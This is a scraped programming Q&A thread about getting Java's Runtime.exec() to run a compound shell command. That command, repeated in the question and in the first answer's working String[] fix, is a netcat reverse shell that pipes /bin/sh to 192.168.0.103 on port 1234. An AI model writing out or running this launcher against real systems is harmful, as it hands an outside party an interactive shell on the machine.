java Runtime.getRuntime().exec() unable to

2019-09-10 13:23发布

问题:

I need to run the following command from inside the Runtime.getRuntime().exec():

rm /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe

In what format should I pass it to my running java program that has the line :

Process localProcess = Runtime.getRuntime().exec(myStr);

where myStr is the entire command above that I want to execute ?

Things I have already tried :

[\"/bin/bash\",\"-c\",\"rm /tmp/backpipe;/usr/bin/mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe\"] as String[]"

gives me the error :

Cannot run program "["/bin/bash","-c","/usr/bin/mkfifo": error=2, No such file or directory

If I simply run the command from my terminal as :

rm /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe

It runs like a charm, but not through the runtime.exec().

回答1:

Try to use ProcessBuilder instead of Runtime.

Try this one:

Process p = new ProcessBuilder().command("bash","-c",cmd).start();

cmd is the variable which holds your shell command.


Update:

String[] cmd = {"bash","-c", "rm -f /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe"}; // type last element your command
Process p = Runtime.getRuntime().exec(cmd);


回答2:

Here is working Java code that illustrates few more aspects of calling Runtime.getRuntime().exec() like waiting for the process to complete and capturing the output and error streams:

import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.BufferedReader;

class Test {
    public static void dump(InputStream is) {
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));
        String line;

        try {
            while ((line = reader.readLine()) != null) {
                System.out.println(line);
            }
        } catch (Exception e) {
            System.out.println("read line threw exception");
        }
    }
    public static void run(String cmd) {
        try {
                Process p = Runtime.getRuntime().exec(cmd);
                p.waitFor();
                int status = p.exitValue();
                System.out.println("Program terminated with exit status " + status);

                if (status != 0) {
                    dump(p.getErrorStream());
                }
                else {
                    dump(p.getInputStream());
                }
            } catch (Exception e) {
                System.out.println("Caught exception");
        }
    }
};